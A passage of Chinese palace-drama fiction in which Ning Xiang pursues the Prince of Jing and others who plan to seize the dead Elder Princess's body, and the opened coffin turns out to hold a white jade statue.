十五岁封王离宫,许是少年都免不了有一段桀骜时光,他渐渐便与长公主生分疏远了,每次相见,最后总闹得不快,渐渐的,他便很少出现在长公主跟前了,除却每年宫宴时,长公主偶然得见他一眼,余下其它时候,他丝毫不愿意出现在长公主跟前,最近两年,更是连宫宴都不曾出席。 他的身子,似乎也是在封王之后,仿佛被吹了气的囊袋,一日日鼓胀起来,长公主每一次见他,都能感觉他比上一次丰腴几分,一开始还有些欣慰,但后来眼见着他身形愈发臃肿沉重,忍不住劝诫几句让他惜身自重节制饮食,却有如拂了他逆鳞一般,姐弟俩不欢而散。 那之后,长公主记忆中,便再也没有出现过元袤的身影,只是身边人会时不时提及,说靖王近日又丰裕了些,然而长公主邀他相见,他只命人推辞,长公主亲去见他,也逮不到人。 即使见不到人,长公主也知道,他这些年里夜夜笙歌,饮酒寻欢从未曾消停过。 听闻前几日,他还曾因为宴饮,被陛下申饬过,并且命他在府中自省。 但他今日怎么不在自己王府之中、而是与阮希他们一起……密谋夺取长公主的尸身? 他也想要长公主的尸身吗? 宁襄喉中涌出一股恶心,不知道是自己身子不适,还是为长公主死后依旧不得清净。 元袤与阮希、顾闲说了许久的话,宁襄听不见,只能看出元袤神色愈发难看,最后竟是大喊了一声:“你们不去,我自去便是!”说罢便拂袖而去。 脾气果然如长公主记忆中那般……不是很好呢…… 不对! 宁襄提起心来——他自己去做什么! 她没忘记阮希他们今日本来的目的,原本就是打算抢夺长公主的尸身——而且元袤也在这计划之内,如今阮希他们被宁襄劝下,但是元袤并没有放弃。 他这个顽劣的时日未免也太长了吧,宁襄知道元袤对长公主有不满,但如今长公主人都已经死去,仍旧难消他心中的愤懑吗? 如今长公主已经不在了,他到底什么时候才能够成熟一点、不要任性妄为! 宁襄想要上前一步,然而元袤已经走远,也不知道他那看着臃肿的身体,为何会有这般快的速度的。 宁襄眼睁睁看着元袤跑远,而她刚跑到阮希他们身边,气喘吁吁:“你们怎么不拦下他啊!” 顾闲看了宁襄一眼,没有吭声,阮希则是看都没看过来。 宁襄顿时了悟——他们根本没有信她! 眼见着他们指望不上,宁襄只好继续追着元袤跑,谁知元袤出了巷口便上了一辆马车。 马车疾驰而去,宁襄气得直跺脚。 此处已经靠近城门,宁襄气了一会,还是追了过去。 阮希和顾闲从她身侧先行一步,阮希若有所思地打量了宁襄一眼,但是他俩都没有停留。 宁襄想追都追不上。 应宣不知从哪里牵出一匹马,骑到宁襄身边,朝她伸出手:“上来吗?” 宁襄没来由的,突然有些怔忪。 这场景似曾相似。 应宣原名应萱,她并非宫女,本也是官宦之后,少时便被父母送入宫中,给当时还是公主的长公主做伴读。 十六岁那年,应萱离宫回家,家中为她寻摸了一门婚事,应萱不愿意,但她拒绝无果,还是被家人送上了花轿。 送嫁途中,应萱提早醒来,趁着众人不备,她逃了婚。 十七岁的应萱奔逃在路上,身后是许许多多想要追上她去完婚的仆从,她褪去了繁复的嫁衣,鞋子都跑掉了一只,但是她没有停下。 她几乎要被人追上、抓住。 彼时长公主从外归来,她骑着马,跑到应萱跟前,她没问应萱发生了什么,只是朝应萱伸出手:“上来吗?” 应萱没有迟疑,她被长公主牵引着上了马,坐在长公主身后。 马儿跑起来,没有人能追上她们。 长公主带着应萱回了自己的府邸,问清楚了缘由,知道应萱不愿意再回家,便将人留在了长公主府。 再后来,她成了长公主府的家令。 不管是公主府家令还是长公主府家令,这个位置过去一向是由宫中内侍担任的,不过长公主执意要用女官担任,之前的徐嬷嬷等人,都是宫中女官。 应萱将自己 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棺盖也随之被撞开,厚重的棺盖掀开又落下,带起一阵沉闷的声响。 所有人都屏气凝神、不由自主地看过去。 地上扬起一阵灰尘,另外一道重响响起,是棺中之物砸在摊开在地上的棺盖之上,并非□□与木料的碰撞声,而是……石料与木料撞击发出的声响,不是普普通通的小石块,像是一块巨石砸撞在木板上,同时还伴随着一些原本陪在棺中的金器与石料、木料的碰撞声。 所有人都看到了,棺椁之中,并不是长公主的遗体,除了那些陪葬物之外,众人看到的,是一具白玉雕刻的石像。 是一个女子模样的石像,石像与人一般高,雕做了仙人的模样。 万籁俱寂。 突然间,有人高喊道:“长公主凡身化石、羽化登仙去了!” 有人附和着:“长公主凡身化石、羽化登仙去了!” 一声接一声,此起彼伏,久久不绝。 不远处的阁楼之上,一处旗子挥动,所有潜伏在暗中的弓箭手顿时按兵不动。 卫显坐在阁楼之上,目光也死死盯着那具砸落在棺盖之上,然后又滚落在地的白玉石像,他脸色煞白,冷汗涔涔,放在身侧的手紧紧攥住扶手,手背青筋冒起。 在手下小心翼翼问他接下来该如何时,卫显的视线在其下的人群之中扫视了一圈,最后落在元袤身上,卫显面色凝重地摇了摇头:“目标未出现,撤!” 元袤跪在原地,呆呆看着对面的石像,双目通红:“阿姐……” 阮希和顾闲没有上前,并且拦住了跟过来的应宣与宁襄。 “居然是真的……”阮希喃喃道,“殿下真的不在棺中。” 应宣远远看着那具白玉石像,耳畔听着那些人喊着长公主登仙的话,她摇了摇头。 “这世间没有神佛。” “她不在此处,”应宣看向宁襄,眼神锐利,“她在哪里?” 宁襄呼吸一滞,有种应宣若是得不到答案绝对不会善罢甘休的强烈感觉。 宁襄身子莫名瑟缩了一下,没能撑住:“在、在宫中!她尚在宫中!” 顿了顿,又找补道:“我猜的!” 应宣似乎并没有反驳宁襄话的意思,她回望了一眼,宫墙距离城墙太远,中间隔了无数的坊市街巷,从她们这里根本看不到。 应宣收回视线,沉思许久,不知道是在想什么,末了声音低低地,突兀地轻笑出声:“原来她还在宫中啊。” 宁襄心中蓦地一慌:“你——”